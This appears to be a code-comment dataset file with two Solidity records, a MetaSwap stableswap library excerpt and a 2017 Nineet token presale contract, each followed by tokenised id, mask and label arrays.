xp[v.metaIndexTo].sub(y).sub(1); uint256 dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee); } if (tokenIndexTo < v.baseLPTokenIndex) { // tokenTo is from this pool v.dy = v.dy.div(self.tokenPrecisionMultipliers[v.metaIndexTo]); } else { // tokenTo is from the base pool v.dy = v.baseSwap.calculateRemoveLiquidityOneToken( v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(v.baseVirtualPrice), tokenIndexTo - v.baseLPTokenIndex ); } return v.dy; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = self._getAPrecise(); uint256 d0; uint256 d1; { uint256 baseVirtualPrice = _getBaseVirtualPrice(metaSwapStorage); uint256[] memory balances1 = self.balances; uint256[] memory tokenPrecisionMultipliers = self .tokenPrecisionMultipliers; uint256 numTokens = balances1.length; d0 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); for (uint256 i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } } d1 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); } uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0); } } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { uint256 pooledTokensLength = self.pooledTokens.length; require( tokenIndexFrom < pooledTokensLength && tokenIndexTo < pooledTokensLength, "Token index is out of range" ); } uint256 transferredDx; { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); { // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math transferredDx = tokenFrom.balanceOf(address(this)).sub( beforeBalance ); } } (uint256 dy, uint256 dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, transferredDx, _updateBaseVirtualPrice(metaSwapStorage) ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add( transferredDx ); self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap( msg.sender, transferredDx, dy, tokenIndexFrom, tokenIndexTo ); return dy; } /** * @notice Swaps with the underlying tokens of the base Swap pool. For this function, * the token indices are flattened out so that underlying tokens are represented * in the indices. * @dev Since this calls multiple external functions during the execution, * it is recommended to protect any function that depends on this with reentrancy guards. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { SwapUnderlyingInfo memory v = SwapUnderlyingInfo( 0, 0, 0, self.tokenPrecisionMultipliers, self.balances, metaSwapStorage.baseTokens, IERC20(address(0)), 0, IERC20(address(0)), 0, _updateBaseVirtualPrice(metaSwapStorage) ); uint8 baseLPTokenIndex = uint8(v.oldBalances.length.sub(1)); { uint8 maxRange = uint8(baseLPTokenIndex + v.baseTokens.length); require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } ISwap baseSwap = metaSwapStorage.baseSwap; // Find the address of the token swapping from and the index in MetaSwap's token list if (tokenIndexFrom < baseLPTokenIndex) { v.tokenFrom = self.pooledTokens[tokenIndexFrom]; v.metaIndexFrom = tokenIndexFrom; } else { v.tokenFrom = v.baseTokens[tokenIndexFrom - baseLPTokenIndex]; v.metaIndexFrom = baseLPTokenIndex; } // Find the address of the token swapping to and the index in MetaSwap's token list if (tokenIndexTo < baseLPTokenIndex) { v.tokenTo = self.pooledTokens[tokenIndexTo]; v.metaIndexTo = tokenIndexTo; } else { v.tokenTo = v.baseTokens[tokenIndexTo - baseLPTokenIndex]; v.metaIndexTo = baseLPTokenIndex; } // Check for possible fee on transfer v.dx = v.tokenFrom.balanceOf(address(this)); v.tokenFrom.safeTransferFrom(msg.sender, address(this), dx); v.dx = v.tokenFrom.balanceOf(address(this)).sub(v.dx); // update dx in case of fee on transfer if ( tokenIndexFrom < baseLPTokenIndex || tokenIndexTo < baseLPTokenIndex ) { // Either one of the tokens belongs to the MetaSwap tokens list uint256[] memory xp = _xp( v.oldBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ); if (tokenIndexFrom < baseLPTokenIndex) { // Swapping from a MetaSwap token v.x = xp[tokenIndexFrom].add( dx.mul(v.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // Swapping from a base Swap token // This case requires adding the underlying token to the base Swap, then // using the base LP token to swap to the desired token uint256[] memory baseAmounts = new uint256[]( v.baseTokens.length ); baseAmounts[tokenIndexFrom - baseLPTokenIndex] = v.dx; // Add liquidity to the underlying Swap contract and receive base LP token v.dx = baseSwap.addLiquidity(baseAmounts, 0, block.timestamp); // Calculate the value of total amount of baseLPToken we end up with v.x = v .dx .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION) .add(xp[baseLPTokenIndex]); } // Calculate how much to withdraw in MetaSwap level and the the associated swap fee uint256 dyFee; { uint256 y = SwapUtils.getY( self._getAPrecise(), v.metaIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee).div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); } if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a base Swap token, scale down dy by its virtual price v.dy = v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div( v.baseVirtualPrice ); } // Update the balances array according to the calculated input and output amount { uint256 dyAdminFee = dyFee.mul(self.adminFee).div( FEE_DENOMINATOR ); dyAdminFee = dyAdminFee.div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); self.balances[v.metaIndexFrom] = v .oldBalances[v.metaIndexFrom] .add(v.dx); self.balances[v.metaIndexTo] = v .oldBalances[v.metaIndexTo] .sub(v.dy) .sub(dyAdminFee); } if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a token that belongs to the base Swap, burn the LP token // and withdraw the desired token from the base pool uint256 oldBalance = v.tokenTo.balanceOf(address(this)); baseSwap.removeLiquidityOneToken( v.dy, tokenIndexTo - baseLPTokenIndex, 0, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)) - oldBalance; } // Check the amount of token to send meets minDy require(v.dy >= minDy, "Swap didn't result in min tokens"); } else { // Both tokens are from the base Swap pool // Do a swap through the base Swap v.dy = v.tokenTo.balanceOf(address(this)); baseSwap.swap( tokenIndexFrom - baseLPTokenIndex, tokenIndexTo - baseLPTokenIndex, v.dx, minDy, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)).sub(v.dy); } // Send the desired token to the caller v.tokenTo.safeTransfer(msg.sender, v.dy); emit TokenSwapUnderlying( msg.sender, dx, v.dy, tokenIndexFrom, tokenIndexTo ); return v.dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); uint256[] memory fees = new uint256[](pooledTokens.length); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); } for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } v.newBalances[i] = v.newBalances[i].add(amounts[i]); } // invariant after change v.d1 = SwapUtils.getD( _xp(v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256 toMint; if (v.totalSupply != 0) { uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(v.newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = v.newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); v.newBalances[i] = v.newBalances[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } else { // the initial depositor doesn't pay fees self.balances = v.newBalances; toMint = v.d1; } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens self.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; uint256 totalSupply = lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < numTokens, "Token not found"); uint256 dyFee; uint256 dy; (dy, dyFee) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _updateBaseVirtualPrice(metaSwapStorage), totalSupply ); require(dy >= minAmount, "dy < minAmount"); // Update balances array self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); // Burn the associated LP token from the caller and send the desired token lpToken.burnFrom(msg.sender, tokenAmount); self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { // Using this struct to avoid stack too deep error ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); require( amounts.length == v.newBalances.length, "Amounts should match pool tokens" ); require(maxBurnAmount != 0, "Must burn more than 0"); uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, v.newBalances.length ); // Calculate how much LPToken should be burned uint256[] memory fees = new uint256[](v.newBalances.length); { uint256[] memory balances1 = new uint256[](v.newBalances.length); v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { balances1[i] = v.newBalances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { uint256 idealBalance = v.d1.mul(v.newBalances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); // Scale up by withdraw fee tokenAmount = tokenAmount.add(1); // Check for max burn amount require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); // Burn the calculated amount of LPToken from the caller and send the desired tokens v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < v.newBalances.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice Determines if the stored value of base Swap's virtual price is expired. * If the last update was past the BASE_CACHE_EXPIRE_TIME, then update the stored value. * * @param metaSwapStorage MetaSwap struct to read from and write to * @return base Swap's virtual price */ function _updateBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { // When the cache is expired, update it uint256 baseVirtualPrice = ISwap(metaSwapStorage.baseSwap) .getVirtualPrice(); metaSwapStorage.baseVirtualPrice = baseVirtualPrice; metaSwapStorage.baseCacheLastUpdated = block.timestamp; return baseVirtualPrice; } else { return metaSwapStorage.baseVirtualPrice; } } }
* @notice Return the stored value of base Swap's virtual price. If value was updated past BASE_CACHE_EXPIRE_TIME, then read it directly from the base Swap contract. @param metaSwapStorage MetaSwap struct to read from @return base Swap's virtual price/
function _getBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal view returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { return metaSwapStorage.baseSwap.getVirtualPrice(); } return metaSwapStorage.baseVirtualPrice; }
949,693
[ 1, 990, 326, 4041, 460, 434, 1026, 12738, 1807, 5024, 6205, 18, 971, 460, 1703, 3526, 8854, 10250, 67, 8495, 67, 18433, 862, 67, 4684, 16, 1508, 855, 518, 5122, 628, 326, 1026, 12738, 6835, 18, 225, 2191, 12521, 3245, 6565, 12521, 1958, 358, 855, 628, 327, 1026, 12738, 1807, 5024, 6205, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 588, 2171, 6466, 5147, 12, 2781, 12521, 2502, 2191, 12521, 3245, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 309, 261, 203, 5411, 1203, 18, 5508, 405, 203, 5411, 2191, 12521, 3245, 18, 1969, 1649, 3024, 7381, 397, 10250, 67, 8495, 67, 18433, 862, 67, 4684, 203, 3639, 262, 288, 203, 5411, 327, 2191, 12521, 3245, 18, 1969, 12521, 18, 588, 6466, 5147, 5621, 203, 3639, 289, 203, 3639, 327, 2191, 12521, 3245, 18, 1969, 6466, 5147, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x849d0bCa469BbB4BbCcC557Ef3252c164D960bAD //Contract name: NineetPresale //Balance: 0 Ether //Verification Date: 11/29/2017 //Transacion Count: 4 // CODE STARTS HERE pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { mapping (address => bool) public owners; event OwnershipAdded(address indexed assigner, address indexed newOwner); event OwnershipDeleted(address indexed assigner, address indexed deletedOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owners[msg.sender] = true; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owners[msg.sender] == true); _; } function addOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipAdded(msg.sender, newOwner); owners[newOwner] = true; } function removeOwner(address removedOwner) onlyOwner public { require(removedOwner != address(0)); OwnershipDeleted(msg.sender, removedOwner); delete owners[removedOwner]; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract NineetToken is PausableToken { string constant public name = "Nineet Token"; string constant public symbol = "NNT"; uint256 constant public decimals = 18; uint256 constant public initialSupply = 85000000 * (10**decimals); // 85 million // where all created tokens should be assigned address public initialWallet; function NineetToken(address _initialWallet) public { require (_initialWallet != 0x0); initialWallet = _initialWallet; // asign all tokens to the contract creator totalSupply = initialSupply; balances[initialWallet] = initialSupply; addOwner(initialWallet); } event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract NineetPresale is Pausable { using SafeMath for uint256; // The token being sold NineetToken public token; uint256 constant public decimals = 18; uint256 constant public BASE = 10**decimals; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; // Sold presale tokens uint256 public soldTokens; // Presale token limit uint256 constant public soldTokensLimit = 1700000 * BASE; // 2% for presale /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function NineetPresale(uint256 _startTime, uint256 _endTime, address _wallet) public { // require(_startTime >= now); require(_endTime >= _startTime); require(_wallet != 0x0); startTime = _startTime; endTime = _endTime; wallet = _wallet; token = createTokenContract(); } function createTokenContract() internal returns (NineetToken) { return new NineetToken(wallet); } function () public payable whenNotPaused { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable whenNotPaused { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 presalePrice = getPrice(weiAmount); uint256 tokens = weiAmount.div(presalePrice) * BASE; // do not allow to buy over pre-sale limit uint256 newSoldTokens = soldTokens.add(tokens); require(newSoldTokens <= soldTokensLimit); // update state weiRaised = weiRaised.add(weiAmount); soldTokens = newSoldTokens; token.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getPrice(uint256 weiAmount) public pure returns(uint256) { if (weiAmount >= 20 * BASE) { // if >= 20 ether // 60% discount return 400000000000000; // 0.0004 ether } else if (weiAmount >= 10 * BASE) { // if >= 10 ether // 50% discount return 500000000000000; // 0.0005 ether } else { // 40% is base presale discount return 600000000000000; // 0.0006 ether } } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { bool capReached = soldTokens >= soldTokensLimit; return (now > endTime) || capReached; } function getTokensForPresale() public onlyOwner { token.transferFrom(wallet, address(this), soldTokensLimit); } // transfer unsold tokens back to the wallet function returnTokensToWallet() public onlyOwner { require (soldTokens < soldTokensLimit); require (now > endTime); token.transfer(wallet, soldTokensLimit - soldTokens); } function grantAccessForToken() public onlyOwner { token.addOwner(msg.sender); } }
asign all tokens to the contract creator
function NineetToken(address _initialWallet) public { require (_initialWallet != 0x0); initialWallet = _initialWallet; totalSupply = initialSupply; balances[initialWallet] = initialSupply; addOwner(initialWallet); } event Burn(address indexed burner, uint256 value);
1,834,568
